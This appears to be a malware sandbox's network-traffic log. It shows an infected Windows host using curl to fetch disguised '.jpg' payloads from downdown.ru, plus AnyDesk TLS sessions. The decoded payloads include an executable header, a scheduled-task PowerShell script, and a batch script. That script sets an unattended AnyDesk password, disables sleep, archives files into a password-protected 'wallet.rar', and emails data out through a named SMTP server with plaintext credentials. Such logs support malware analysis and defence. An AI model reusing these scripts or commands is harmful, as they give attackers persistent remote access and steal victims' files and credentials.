4a a6 ac 0b 1e b0 cf da cd 81 98 1c 8e bb ef 25 30 0d 71 f4 4a 32 fe 16 e9 62 5b 60 cc 52 47 a5 6d 98 1b 45 74 c6 e9 b8 1a 18 aa e5 25 07 68 4c 81 34 4c 93 96 3e 4c ae 9d 1b 81 50 a0 79 20 c1 fe 36 34 3d d1 c1 f2 f9 01 42 71 84 b1 e1 05 96 a7 11 a2 3b 41 e8 ac 05 8f 31 05 c5 66 d5 34 a3 01 b2 2e 48 66 6e 9d bd b7 9d da 80 45 7d 64 bc db df c3 1f 62 47 20 0b 91 19 4c 17 6b ab ff f3 76 fa 4e b1 e7 9a 27 26 6b 8b 33 b2 03 65 75 [TRUNCATED] Data Ascii: Rar!s;]6,,:kQr6;hBqS^{M8B!Wz)3p>f!Zj)J(zw>`e$p79YC1`a5Y+s8y$lCvPOdm?;FTJ%0qJ2b[`RGmEt%hL4L>LPy 64=Bq;A1f4.HfnE}dbG LkvN'&k3euw@1t`}VP0+&H}AZ`2j$vv2N^05?t@A_h!.wX3m:V'3`5.n,h//~g%\'x?-/[bOYiB* e)A2D998e_EDTK>nF/o5, bjn{DBd2us[Jj8"E2`#_3OH^/Fj-mkPZ95{TJ.O@M&<W\|<h-4Cz4)u&9v!t7,X_<"bxNfC~vR8NHa8$9l+vL&=KL GVYj>?U\e \e<h!k< (c]Z+a}hx\|G\RfUn>nEF6hEO/;T@nRS#OEds~/A6uE:]Hpje [TRUNCATED]
Jan 11, 2025 07:53:55.561734915 CET	1289	IN	Data Raw: 7f bb 0a 0a f5 af b7 2b e8 0b db 93 b0 3a 80 31 c9 e7 79 fb 52 3e cf ee 2a f5 48 dc e8 c1 f2 1f 4d 07 d2 1f 53 25 48 a0 ea 45 6a 01 30 f3 6d 93 42 7c 8f b0 e4 c1 36 42 0e 21 5b bb f8 10 86 dc eb 8a 46 a1 76 3d 1c 02 dd 32 21 41 36 a4 04 ef 8b 1e Data Ascii: +:1yR>HMS%HEj0mB\|6B![Fv=2!A6z)"y0D}+,Y>~TI#S,u]q[N~Eu!u)j^78HO `+;-~z[nArj9{u"Bi;>eB
Jan 11, 2025 07:53:55.561897039 CET	1289	IN	Data Raw: 59 8a d3 a1 21 ee 60 8e a6 e7 de e1 ec 72 2b fd 9c c1 51 5e a6 69 34 57 9e 3a a8 84 f7 ee 22 38 fc ce 4c ed 89 92 5f 1b e6 aa d2 fc fe 1d 55 5d 75 01 30 52 62 82 fd 49 46 df eb b2 03 0c f8 73 32 80 a1 6f d8 a3 6c 9e e4 25 dd 16 ba 9b 13 2c 79 35 Data Ascii: Y!`r+Q^i4W:"8L_U]u0RbIFs2ol%,y5z<U8+oNuLp>m%N`7V>4Gr[dtu8Y@<HoE/c_qx;Dwy#]x%xx&rHv;
Jan 11, 2025 07:53:55.562019110 CET	1289	IN	Data Raw: 4e 0f 6c 69 bc a2 3b 3d 8a 1e d8 b4 2b f9 42 39 66 77 dd 7c 67 f8 c0 10 2a cf a8 c0 cd 62 bb 7a 81 d8 81 80 de eb b7 62 77 24 b8 49 b9 9d 97 b4 38 23 1f 71 88 99 bd 1c 52 00 29 0c 88 01 79 5f 21 59 c8 92 4f 32 31 a8 4e 05 fc 22 e0 50 ea 02 be c0 Data Ascii: Nli;=+B9fw\|gbzbw$I8#qR)y_!YO21N"P"Zcb3NadB U$lO6:p-<ALvz5eCAGzryqE9tv/B$[MB~<-v`>kb6ZQeevo&\y>Iy=o\|hZ
Jan 11, 2025 07:53:55.562077999 CET	1289	IN	Data Raw: 75 23 99 df df 6c fd 81 77 c8 72 8f 12 b8 52 3e 59 d7 f1 38 86 38 00 13 f1 02 e7 9b 4c e4 d3 a6 97 fc 86 a3 7a 98 3a 26 08 4a c3 0f 58 59 91 ce ae c1 fa de 53 b4 fa 7c 19 d4 ff 71 e1 c7 6a 0c 8a 19 67 fc 38 35 a7 b3 98 13 17 bb e9 6c f9 4a ec 45 Data Ascii: u#lwrR>Y88Lz:&JXYS\|qjg85lJE]3^y1de'TAsB@MD"#K:.QmJ>N#a5ro(v!jGKVxj20s%5h}*-Mw&&
Jan 11, 2025 07:53:55.562179089 CET	1289	IN	Data Raw: 41 d2 46 75 d0 05 be d3 6c 27 82 26 8b 28 ed ba 9c c8 a4 2e d8 9c 08 41 41 38 52 dd aa 5f 93 57 47 17 05 45 8b 1b 2f b3 20 e5 e6 82 4e aa 91 b9 b1 d9 2f 5a 6d 3c e4 5c 04 50 d1 fc 38 b5 58 ce 21 da a1 43 5f de 43 85 a0 08 53 57 6a af 7d f0 75 72 Data Ascii: AFul'&(.AA8R_WGE/ N/Zm<\P8X!C_CSWj}urfFl8DL0{:qLkn.2mh0=5-0)(Ei&'[yq6nK<]qfPU)1wX\|pu C+mUi4tWpf^
Jan 11, 2025 07:53:55.562324047 CET	1289	IN	Data Raw: 15 cb c7 e6 52 d4 33 18 88 c4 f9 fc ed 3f 02 25 23 76 f7 92 34 54 f3 7f 74 1c e1 d4 6a 28 cc 0c 03 95 90 93 f0 cc ae 39 cf 0a 89 c1 cb 7a e1 2b 29 78 ee e2 0a 6c 22 38 f5 85 63 b4 bc 11 33 22 a4 89 99 37 bd c6 85 a4 25 40 3f 71 6d bc 75 b6 a9 cd Data Ascii: R3?%#v4Ttj(9z+)xl"8c3"7%@?qmul1\|J~d>=+h6uevA+o7$DFuQ2tdyN`Uey%e8so\eb~iLyYJ"lTThH>bA}$/gGsbJL
Jan 11, 2025 07:53:55.562381029 CET	1289	IN	Data Raw: 19 1d d2 36 a3 c3 ea 07 33 42 33 94 bd e7 90 05 e5 24 59 15 ea 58 09 3c b6 4d 7e ad b0 b2 4f c9 d6 9f a0 32 8a 89 1d ba 65 95 f6 c1 1d 65 b8 b2 75 f1 60 af f7 d8 8d 49 08 b1 63 1f cd 47 3c b4 b1 7c 12 bc 0f 50 21 d9 7f d4 c7 79 d6 a4 7f 22 cb 9d Data Ascii: 63B3$YX<M~O2eeu`IcG<\|P!y"8C^a4k\|?D14+':2x\|Ee71:AsH~O:l8A<%T0\|F+{*}riNbJ>UC.r)`eDl7sH
Jan 11, 2025 07:53:55.562503099 CET	1289	IN	Data Raw: 9b e1 14 9f 66 c9 ef 76 7f 9d 92 d8 aa ea 3c fd d2 aa b8 27 4b df 0f c1 10 ed 4e d8 fc 79 df c1 33 ac d7 1c ab b9 97 5f e2 b0 0e 43 bf 1a 49 22 50 ff 8e 6c 2b c6 41 f7 34 55 85 01 85 ad 7c e8 c2 bc a9 c7 43 a1 7a 5b 21 dc ed 89 d3 24 89 19 3f 4b Data Ascii: fv<'KNy3_CI"Pl+A4U\|Cz[!$?KUf`9pn2^#]7u1Jig,\Pp^"d4G%ZbcGICq>2%m?4O3%Nt;l~o83P176'&'w#ir4db+/H
Jan 11, 2025 07:53:55.562624931 CET	1289	IN	Data Raw: 4c 09 35 d5 35 36 51 1e 50 51 8d e0 a2 2a d0 dc 4b 84 66 60 4d 2b 21 68 d4 47 12 59 8a 84 62 58 cd a2 c3 73 86 1f 8e ed ad 05 c2 c2 df d0 0e 4c a9 a8 23 39 80 03 59 39 a1 4b 0c 48 77 f8 41 04 f0 d3 32 af a6 e9 13 a3 da 7b 50 8f 88 9b 14 ec 92 a9 Data Ascii: L556QPQ*Kf`M+!hGYbXsL#9Y9KHwA2{Pr?g0%'`XwtuoghJ4r[`\|KZVf \l8ru}{}]iA:g;.;rV+]To#gJr,xy55H+r>bBK9}s=rdJ
Jan 11, 2025 07:53:55.784006119 CET	1289	IN	Data Raw: f6 14 f6 65 50 b3 40 4c 1f b5 b0 1f bf ce 21 aa ac a9 08 3c ed c3 33 69 4f 23 9f 98 ac 52 52 fe 07 3c 51 25 c0 35 2a 18 bf 50 14 a4 c2 40 7f 7e e3 db f3 d8 f5 f1 03 59 29 4e 9b 33 fe e5 fe 21 6c 6c e7 11 9f ce 6e d9 b2 1b 6f 8c 67 4e e3 0c ee 4a Data Ascii: eP@L!<3iO#RR<Q%5P@~Y)N3!llnogNJU#f+bdIBM&`H[52AZ5U'x6XxD%4ZYVtn7N;Cl9=05C(McrixGpE$yMuV$eIHC]9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.11.20	49758	185.125.51.5	80	1956	C:\Intel\curl.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 07:53:57.843106985 CET	86	OUT	GET /wol.jpg HTTP/1.1 User-Agent: curl/7.40.0-DEV Host: downdown.ru Accept: /
Jan 11, 2025 07:53:58.068711996 CET	924	IN	HTTP/1.1 200 OK Date: Sat, 11 Jan 2025 06:53:57 GMT Server: Apache/2 Upgrade: h2,h2c Connection: Upgrade Last-Modified: Sun, 01 Dec 2024 09:23:12 GMT ETag: "29e-62831fb20c000" Accept-Ranges: bytes Content-Length: 670 Content-Type: image/jpeg Data Raw: 24 41 63 74 69 6f 6e 20 3d 20 4e 65 77 2d 53 63 68 65 64 75 6c 65 64 54 61 73 6b 41 63 74 69 6f 6e 20 2d 45 78 65 63 75 74 65 20 22 43 3a 5c 50 72 6f 67 72 61 6d 20 46 69 6c 65 73 20 28 78 38 36 29 5c 4d 69 63 72 6f 73 6f 66 74 5c 45 64 67 65 5c 41 70 70 6c 69 63 61 74 69 6f 6e 5c 6d 73 65 64 67 65 2e 65 78 65 22 0d 0a 24 54 72 69 67 67 65 72 20 3d 20 4e 65 77 2d 53 63 68 65 64 75 6c 65 64 54 61 73 6b 54 72 69 67 67 65 72 20 2d 44 61 69 6c 79 20 2d 41 74 20 22 30 31 3a 30 30 41 4d 22 0d 0a 24 50 72 69 6e 63 69 70 61 6c 20 3d 20 4e 65 77 2d 53 63 68 65 64 75 6c 65 64 54 61 73 6b 50 72 69 6e 63 69 70 61 6c 20 2d 55 73 65 72 49 64 20 22 53 59 53 54 45 4d 22 20 2d 4c 6f 67 6f 6e 54 79 70 65 20 53 65 72 76 69 63 65 41 63 63 6f 75 6e 74 20 2d 52 75 6e 4c 65 76 65 6c 20 48 69 67 68 65 73 74 0d 0a 23 20 d0 a1 d0 be d0 b7 d0 b4 d0 b0 d0 bd d0 b8 d0 b5 20 d0 bd d0 b0 d1 81 d1 82 d1 80 d0 be d0 b5 d0 ba 20 d0 b7 d0 b0 d0 b4 d0 b0 d1 87 d0 b8 0d 0a 24 54 61 73 6b 53 65 74 74 69 6e 67 73 20 3d 20 4e 65 77 2d 53 [TRUNCATED] Data Ascii: $Action = New-ScheduledTaskAction -Execute "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"$Trigger = New-ScheduledTaskTrigger -Daily -At "01:00AM"$Principal = New-ScheduledTaskPrincipal -UserId "SYSTEM" -LogonType ServiceAccount -RunLevel Highest# $TaskSettings = New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -StartWhenAvailable -WakeToRun# Register-ScheduledTask -Action $Action -Principal $Principal -Trigger $Trigger -TaskName "WakeUpAndLaunchEdge" -Settings $TaskSettings -Force

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.11.20	49759	185.125.51.5	80	7956	C:\Intel\curl.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 07:53:58.729125977 CET	85	OUT	GET /dc.jpg HTTP/1.1 User-Agent: curl/7.40.0-DEV Host: downdown.ru Accept: /
Jan 11, 2025 07:53:58.949945927 CET	1289	IN	HTTP/1.1 200 OK Date: Sat, 11 Jan 2025 06:53:58 GMT Server: Apache/2 Upgrade: h2,h2c Connection: Upgrade Last-Modified: Sun, 01 Dec 2024 14:22:40 GMT ETag: "cb190-628362a1aac00" Accept-Ranges: bytes Content-Length: 831888 Content-Type: image/jpeg Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 2d 82 c1 ed 69 e3 af be 69 e3 af be 69 e3 af be d4 ac 39 be 6b e3 af be 60 9b 3a be 77 e3 af be 60 9b 2c be db e3 af be 60 9b 2b be 50 e3 af be 4e 25 c2 be 63 e3 af be 4e 25 d4 be 48 e3 af be 69 e3 ae be 64 e1 af be 60 9b 20 be 2f e3 af be 77 b1 3a be 6b e3 af be 77 b1 3b be 68 e3 af be 69 e3 38 be 68 e3 af be 60 9b 3e be 68 e3 af be 52 69 63 68 69 e3 af be 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 15 16 c8 4b 00 00 00 00 00 00 00 00 e0 00 23 01 0b 01 09 00 00 02 08 00 00 fa 02 00 00 00 00 00 10 63 01 00 00 10 00 00 00 20 08 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-iii9k`:w`,`+PN%cN%Hid` /w:kw;hi8h`>hRichiPELK#c @p\| @@<T @.text `.rdata\ @@.datah@.rsrcH@@ [TRUNCATED]
Jan 11, 2025 07:53:58.949996948 CET	1289	IN	Data Raw: 00 00 38 05 92 72 49 00 74 43 68 a4 03 00 00 50 8d 54 24 0c 52 a2 92 72 49 00 89 81 8c 01 00 00 e8 c5 21 01 00 a1 c0 72 49 00 83 c4 0c 8d 0c 24 51 6a 02 c7 44 24 08 a8 03 00 00 89 44 24 0c c7 44 24 10 01 00 00 00 ff 15 8c 24 48 00 81 c4 ac 03 00 Data Ascii: 8rItChPT$RrI!rI$QjD$D$D$$HF$S3;JF,^$;J^,^0^4^8^[~jytNHFN3HFD$L$S\$W\|$PQ_[UQV;
Jan 11, 2025 07:53:58.950119972 CET	1289	IN	Data Raw: 44 24 20 89 44 24 1c 89 44 24 28 89 44 24 60 89 44 24 64 88 44 24 68 88 44 24 69 89 44 24 54 89 44 24 58 88 44 24 5c 88 44 24 5d 89 44 24 48 89 44 24 4c 88 44 24 50 88 44 24 51 89 44 24 78 89 44 24 7c 88 84 24 80 00 00 00 88 84 24 81 00 00 00 89 Data Ascii: D$ D$D$(D$`D$dD$hD$iD$TD$XD$\D$]D$HD$LD$PD$QD$xD$\|$$D$<D$@D$DD$ED$lD$pD$tD$uD$;-JJEEJSp3D$4ftxAfuvIfu2tG
Jan 11, 2025 07:53:58.950196028 CET	1289	IN	Data Raw: 02 00 bf cc 7c 4a 00 8b c6 e8 3a 28 00 00 b0 01 5f c3 cc cc cc cc cc cc 83 7f 08 00 77 08 c7 47 08 00 00 00 00 c3 53 56 33 f6 8b 47 04 8b 1c b0 85 db 74 10 8b cb e8 cd 0b 00 00 53 e8 96 f8 00 00 83 c4 04 46 3b 77 08 72 e0 5e 5b c7 47 08 00 00 00 Data Ascii: \|J:(_wGSV3GtSF;wr^[G;P}Vr0@^;t%hHHD28rISUl$DVW3wHt$8D$(D$0\$4jL$,Q\|J}'6=rIt$(w\|$(wHt$8D$0
Jan 11, 2025 07:53:58.950342894 CET	1289	IN	Data Raw: 00 01 00 00 00 c7 84 24 3c 01 00 00 04 00 00 00 e8 34 13 01 00 8d 44 24 30 50 8d 8c 24 4c 01 00 00 33 d2 51 66 89 94 24 36 01 00 00 e8 3f f7 00 00 83 c4 20 8d 94 24 18 01 00 00 52 6a 01 ff 15 8c 24 48 00 8d 4c 24 08 e8 b2 06 00 00 5f 5e 8b e5 5d Data Ascii: $<4D$0P$L3Qf$6? $Rj$HL$_^]PSUVWt$<D$d3Pl$hh}JU#H}Jt$@\|$(\|J}JGHt$3MT$('t$(rGHt$D$0
Jan 11, 2025 07:53:58.950460911 CET	1289	IN	Data Raw: 68 e8 90 6e 00 00 8b 74 24 7c b8 01 00 00 00 89 44 24 70 89 44 24 68 8b 44 24 10 83 78 08 04 0f 84 14 d3 02 00 8b 5c 24 60 83 fb 04 0f 84 12 d3 02 00 8b 57 04 8b 84 24 84 00 00 00 8b 04 82 66 83 78 08 7f 0f 85 0d d3 02 00 33 f6 32 d2 eb 06 8d 9b Data Ascii: hnt$\|D$pD$hD$x\$`W$fx32EHM;J@~<Jt1u-@fxuuIL$PL$(ND$xgt$mD$h\$D$ V
Jan 11, 2025 07:53:58.950575113 CET	1289	IN	Data Raw: cc cc cc cc cc cc cc cc cc cc cc cc cc b8 28 20 00 00 e8 c6 28 02 00 53 55 56 8b d9 57 8d 7b 14 89 7c 24 1c e8 d4 f0 ff ff 8b 84 24 3c 20 00 00 33 ed 89 2b 83 c3 04 50 8b c3 e8 6e f8 ff ff 89 6c 24 14 c6 44 24 12 00 89 6c 24 18 c6 44 24 13 00 8b Data Ascii: ( (SUVW{\|$$< 3+Pnl$D$l$D$Sf \|f\|5C;iL$fEf t9ft3f"tfDL0AL$f8"{\|$tjD$\|$t3\|$0t
Jan 11, 2025 07:53:58.950648069 CET	1289	IN	Data Raw: 34 b9 85 f6 74 1b 0f b7 46 08 66 83 f8 3f 0f 8e dd 00 00 00 56 e8 99 e4 00 00 8b 44 24 40 83 c4 04 47 3b 78 08 72 d5 8b 54 24 3c 89 6a 08 66 39 2b 0f 84 fc 01 00 00 eb 0b 8d a4 24 00 00 00 00 8d 64 24 00 0f b7 04 6b 66 83 f8 20 0f 84 f7 00 00 00 Data Ascii: 4tFf?VD$@G;xrT$<jf9+$d$kf fkfl$fl$f0f.fA*faf_ $=B(v)O"D&(4@$3@f
Jan 11, 2025 07:53:58.950759888 CET	1289	IN	Data Raw: 00 00 8d 74 24 14 e8 b0 f7 ff ff 8d 74 24 20 8d 7c 24 14 e8 f3 f2 ff ff 57 e9 e3 fc ff ff 66 83 fe 7a 0f 86 96 fd ff ff e9 67 fb ff ff bf 56 00 00 00 8d 74 24 14 45 e8 7f f7 ff ff 56 e9 bf fc ff ff bf 52 00 00 00 8d 74 24 14 45 e8 6a f7 ff ff 56 Data Ascii: t$t$ \|$WfzgVt$EVRt$EjVDkE=t$C>T$RzEf<k=t$BVmB1@1@2@1@g/@BI2@3@3@2@2@2@BEB
Jan 11, 2025 07:53:58.950930119 CET	1289	IN	Data Raw: 12 00 8d 4c 24 18 e8 c7 ed ff ff 80 7c 24 12 00 0f 85 3b 80 02 00 8d 8c 24 98 06 00 00 51 68 04 01 00 00 ff 15 38 23 48 00 8d 54 24 6c 52 8d 44 24 74 50 68 04 01 00 00 57 ff 15 20 23 48 00 8d 8c 24 a8 28 00 00 51 8d 94 24 b4 2a 00 00 52 8d 84 24 Data Ascii: L$\|$;$Qh8#HT$lRD$tPhW #H$(Q$*R$PL$pQ$RD$dP$Q$R$P$Q0#H3t$@f$bD$T3j\$ D$$jD$
Jan 11, 2025 07:53:59.170708895 CET	1289	IN	Data Raw: 08 74 22 8b 56 0c 8b 4e 04 8a 04 11 88 04 2f ff 46 0c 47 3b fb 72 e4 01 7e 10 8b c7 5f 83 56 14 00 5d c2 04 00 8b 56 04 8b 06 6a 00 8d 4c 24 10 51 68 00 00 01 00 52 50 ff 15 a0 21 48 00 8b 44 24 0c 85 c0 74 d1 89 46 08 c7 46 0c 00 00 00 00 eb b1 Data Ascii: t"VN/FG;r~_V]VjL$QhRP!HD$tFFVFFFVVDWW3f>#;Wf>t;~f>ukW_^"t ':W;uW3f_^u3u

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.11.20	49764	57.129.37.157	80	2596	C:\Intel\AnyDesk\AnyDesk.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 07:54:12.789820910 CET	274	OUT	Data Raw: 16 03 01 01 0d 01 00 01 09 03 03 e0 a2 c5 36 1e d1 b5 26 80 50 92 9a 51 e7 64 e4 9b 4d 89 b5 17 eb 29 f6 9c 6f 79 cc 34 40 fe 71 00 00 6e c0 30 c0 2c c0 28 c0 24 c0 14 c0 0a 00 a5 00 a3 00 a1 00 9f 00 6b 00 6a 00 69 00 68 00 39 00 38 00 37 00 36 Data Ascii: 6&PQdM)oy4@qn0,($kjih98762.*&=5/+'#g@?>32101-)%</r#
Jan 11, 2025 07:54:13.019491911 CET	536	IN	Data Raw: 16 03 03 00 57 02 00 00 53 03 03 d7 e5 93 66 ed f9 dd 0f d8 26 9f 2e 67 8c f1 19 6b 95 a7 1f 67 41 f4 a5 44 4f 57 4e 47 52 44 01 20 8e 10 fc f7 6e 4d 13 c7 18 b5 42 c2 89 0b 40 a0 0d b0 6f 8d b0 bb c5 44 59 94 e2 4e fa 4d 2e a0 c0 2c 00 00 0b ff Data Ascii: WSf&.gkgADOWNGRD nMB@oDYNM.,OKHE0A0)yA0*H0J10UAnyNet Root CA 21 0Uphilandro Software GmbH10UDE0190227210728Z2902242
Jan 11, 2025 07:54:13.019522905 CET	536	IN	Data Raw: a9 6d 85 e8 0b cc d8 b2 1c e2 f3 7a 23 29 07 f7 6b 05 dd 73 ad dd ec 74 a2 11 de fa fd c5 98 cb 98 cb 7e 1b 50 4e 3d 00 3c 89 26 14 86 06 19 5d 8f 63 3c dc be cc ad 1d 9f 54 c6 6f 8c 30 68 17 e3 c5 fb 4d 03 ec 5f 9f ce 1c 18 3a dd 43 e3 fe 3a d3 Data Ascii: mz#)kst~PN=<&]c<To0hM_:C:~)"Z0y)@gW/Dl(dI5k25b~bj!z1LFSjAZgYZqQ\|xu,9RusYP"XrWGvN4;5J#%US(ho-"
Jan 11, 2025 07:54:13.019710064 CET	164	IN	Data Raw: 24 6a a4 f9 ce 8c b4 06 ef a0 69 a7 cc 13 96 99 e5 83 ab 4e c5 c2 58 4b e4 3c 16 03 03 00 7c 0d 00 00 78 03 40 01 02 00 22 02 02 02 01 02 03 03 01 03 03 04 01 04 03 05 01 05 03 06 01 06 03 08 04 08 05 08 06 08 09 08 0a 08 0b 00 4e 00 4c 30 4a 31 Data Ascii: $jiNXK<\|x@"NL0J10UAnyNet Root CA 31 0Uphilandro Software GmbH10UDE
Jan 11, 2025 07:54:13.026098967 CET	1094	OUT	Data Raw: 16 03 03 02 b6 0b 00 02 b2 00 02 af 00 02 ac 30 82 02 a8 30 82 01 90 02 01 01 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 30 19 31 17 30 15 06 03 55 04 03 0c 0e 41 6e 79 44 65 73 6b 20 43 6c 69 65 6e 74 30 20 17 0d 32 35 30 31 31 31 30 36 35 34 Data Ascii: 000H010UAnyDesk Client0 250111065409Z20741230065409Z010UAnyDesk Client0"0H0"+ 0u&Nk;@{z\|)4/*w<R
Jan 11, 2025 07:54:13.255181074 CET	51	IN	Data Raw: 14 03 03 00 01 01 16 03 03 00 28 dd a3 ca c5 6a 69 96 4b 9d 4f 64 81 23 44 3e 94 b7 f8 36 80 9e 25 e0 78 74 56 a1 61 7b ae dd e8 49 14 63 19 34 2b 10 92 Data Ascii: (jiKOd#D>6%xtVa{Ic4+
Jan 11, 2025 07:54:13.255377054 CET	40	IN	Data Raw: 17 03 03 00 23 dd a3 ca c5 6a 69 96 4c ec fe 09 c6 83 8f 3b a4 33 80 ef 65 7a 81 c8 ba 32 6c 96 87 8a ca 25 dd 71 c9 68 Data Ascii: #jiL;3ez2l%qh
Jan 11, 2025 07:54:13.318856955 CET	87	OUT	Data Raw: 17 03 03 00 52 46 fd e6 00 d2 d5 9b aa 03 d2 2b c3 2f 40 32 90 ff e1 50 1f 34 db 09 4e 11 81 b3 16 ad fc c0 60 fb 75 98 08 94 c1 7f 04 f5 f1 9b 02 e4 85 c7 c7 bd 31 31 b5 b2 97 3e 25 22 ad 0d 72 12 10 03 43 87 bf 5b 3b c6 4e a6 75 c1 a2 9f 01 2d Data Ascii: RF+/@2P4N`u11>%"rC[;Nu-hD[
Jan 11, 2025 07:54:13.601556063 CET	197	IN	Data Raw: 17 03 03 00 c0 dd a3 ca c5 6a 69 96 4d e4 84 f1 63 10 60 a6 0b ce 6b 60 82 c5 b3 65 f7 d1 ca fa c6 cc 33 52 3e 86 ef 25 a8 c9 6b 1f de bf 5d 34 06 d9 5d 49 37 88 ec b4 92 5b e4 21 1e e7 3b 1a cd bc 18 91 22 cb 31 43 4f 7d a6 a0 09 9e e0 c0 74 4a Data Ascii: jiMc`k`e3R>%k]4]I7[!;"1CO}tJ\3^:9sCiQb*:#&Xb[C-TU%K,[f~[0[i=0IlhAnf8,^+G

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.11.20	49765	185.125.51.5	80	6064	C:\Intel\curl.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 07:54:13.042390108 CET	86	OUT	GET /bat.jpg HTTP/1.1 User-Agent: curl/7.40.0-DEV Host: downdown.ru Accept: /
Jan 11, 2025 07:54:13.264702082 CET	1289	IN	HTTP/1.1 200 OK Date: Sat, 11 Jan 2025 06:54:13 GMT Server: Apache/2 Upgrade: h2,h2c Connection: Upgrade Last-Modified: Sun, 01 Dec 2024 14:59:54 GMT ETag: "117d-62836af42ce80" Accept-Ranges: bytes Content-Length: 4477 Content-Type: image/jpeg Data Raw: 65 63 68 6f 20 51 57 45 52 54 59 31 32 33 34 35 36 36 20 7c 20 41 6e 79 44 65 73 6b 2e 65 78 65 20 2d 2d 73 65 74 2d 70 61 73 73 77 6f 72 64 20 5f 75 6e 61 74 74 65 6e 64 65 64 5f 61 63 63 65 73 73 0d 0a 25 53 59 53 54 45 4d 44 52 49 56 45 25 5c 49 6e 74 65 6c 5c 64 63 2e 65 78 65 20 2f 44 0d 0a 70 6f 77 65 72 63 66 67 20 2d 73 65 74 61 63 76 61 6c 75 65 69 6e 64 65 78 20 53 43 48 45 4d 45 5f 43 55 52 52 45 4e 54 20 34 66 39 37 31 65 38 39 2d 65 65 62 64 2d 34 34 35 35 2d 61 38 64 65 2d 39 65 35 39 30 34 30 65 37 33 34 37 20 35 63 61 38 33 33 36 37 2d 36 65 34 35 2d 34 35 39 66 2d 61 32 37 62 2d 34 37 36 62 31 64 30 31 63 39 33 36 20 30 0d 0a 70 6f 77 65 72 63 66 67 20 2d 63 68 61 6e 67 65 20 2d 73 74 61 6e 64 62 79 2d 74 69 6d 65 6f 75 74 2d 61 63 20 30 0d 0a 70 6f 77 65 72 63 66 67 20 2d 63 68 61 6e 67 65 20 2d 68 69 62 65 72 6e 61 74 65 2d 74 69 6d 65 6f 75 74 2d 61 63 20 30 0d 0a 70 6f 77 65 72 63 66 67 20 2d 68 20 6f 66 66 0d 0a 70 6f 77 65 72 63 66 67 20 2f 53 45 54 44 43 56 41 4c 55 45 49 4e [TRUNCATED] Data Ascii: echo QWERTY1234566 \| AnyDesk.exe --set-password _unattended_access%SYSTEMDRIVE%\Intel\dc.exe /Dpowercfg -setacvalueindex SCHEME_CURRENT 4f971e89-eebd-4455-a8de-9e59040e7347 5ca83367-6e45-459f-a27b-476b1d01c936 0powercfg -change -standby-timeout-ac 0powercfg -change -hibernate-timeout-ac 0powercfg -h offpowercfg /SETDCVALUEINDEX SCHEME_CURRENT 238c9fa8-0aad-41ed-83f4-97be242c8f20 bd3b718a-0680-4d9d-8ab2-e1d2b4ac806d 1powercfg /SETACVALUEINDEX SCHEME_CURRENT 238c9fa8-0aad-41ed-83f4-97be242c8f20 bd3b718a-0680-4d9d-8ab2-e1d2b4ac806d 1schtasks /create /tn "ShutdownAt5AM" /tr "shutdown /s /f /t 0" /sc daily /st 05:00Powershell.exe -executionpolicy remotesigned -File %SYSTEMDRIVE%\Intel\AnyDesk\wol.ps1del /q %SYSTEMDRIVE%\Intel\curl.exedel /q %SYSTEMDRIVE%\Intel\Trays.rardel /q %SYSTEMDRIVE%\Intel\svchost.exeset mail-out=out@dragonfires.ruset pass-out=TyU005d94yset smtp=mail.dragonfires.ruset mail-in=in@dragonfires.ru%SYSTEMDRIVE%\Intel\driver.exe a -r -hplimpid2903392 % [TRUNCATED]
Jan 11, 2025 07:54:13.264826059 CET	1289	IN	Data Raw: 6c 6c 65 74 2e 72 61 72 20 20 43 3a 5c 2a af a0 e0 ae ab 2a 2e 2a 20 2f 79 0d 0a 25 53 59 53 54 45 4d 44 52 49 56 45 25 5c 49 6e 74 65 6c 5c 64 72 69 76 65 72 2e 65 78 65 20 61 20 2d 72 20 2d 68 70 6c 69 6d 70 69 64 32 39 30 33 33 39 32 20 25 53 Data Ascii: llet.rar C:\*. /y%SYSTEMDRIVE%\Intel\driver.exe a -r -hplimpid2903392 %SYSTEMDRIVE%\Intel\wallet.rar C:\*. /y%SYSTEMDRIVE%\Intel\driver.exe a -r -hplimpid2903392 %SYSTEMDRIVE%\Intel\wallet.rar C:\*. /y%SYSTEMDRIV
Jan 11, 2025 07:54:13.264935970 CET	1289	IN	Data Raw: 0d 0a 43 3a 5c 49 6e 74 65 6c 5c 62 6c 61 74 2e 65 78 65 20 2d 74 6f 20 25 6d 61 69 6c 2d 69 6e 25 20 2d 66 20 22 53 65 72 76 69 63 65 20 41 6e 69 64 65 73 6b 3c 25 6d 61 69 6c 2d 6f 75 74 25 3e 22 20 2d 73 65 72 76 65 72 20 25 73 6d 74 70 25 20 Data Ascii: C:\Intel\blat.exe -to %mail-in% -f "Service Anidesk<%mail-out%>" -server %smtp% -port 587 -u %mail-out% -pw %pass-out% -subject "AnyDesk %COMPUTERNAME%/%USERNAME%" -body "AnyDesk %COMPUTERNAME%/%USERNAME%" -attach "%PROGRAMDATA%\AnyDesk\se
